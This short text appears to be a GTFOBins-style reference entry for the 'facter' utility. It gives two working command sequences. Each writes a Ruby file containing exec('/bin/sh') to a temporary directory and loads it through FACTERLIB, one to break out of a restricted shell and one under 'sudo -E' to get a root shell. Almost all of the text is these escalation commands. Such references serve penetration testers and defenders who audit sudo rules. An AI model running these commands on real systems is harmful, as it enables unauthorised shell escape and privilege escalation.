It can be used to break out from restricted environments by spawning an interactive system shell.
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF facter
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF sudo -E facter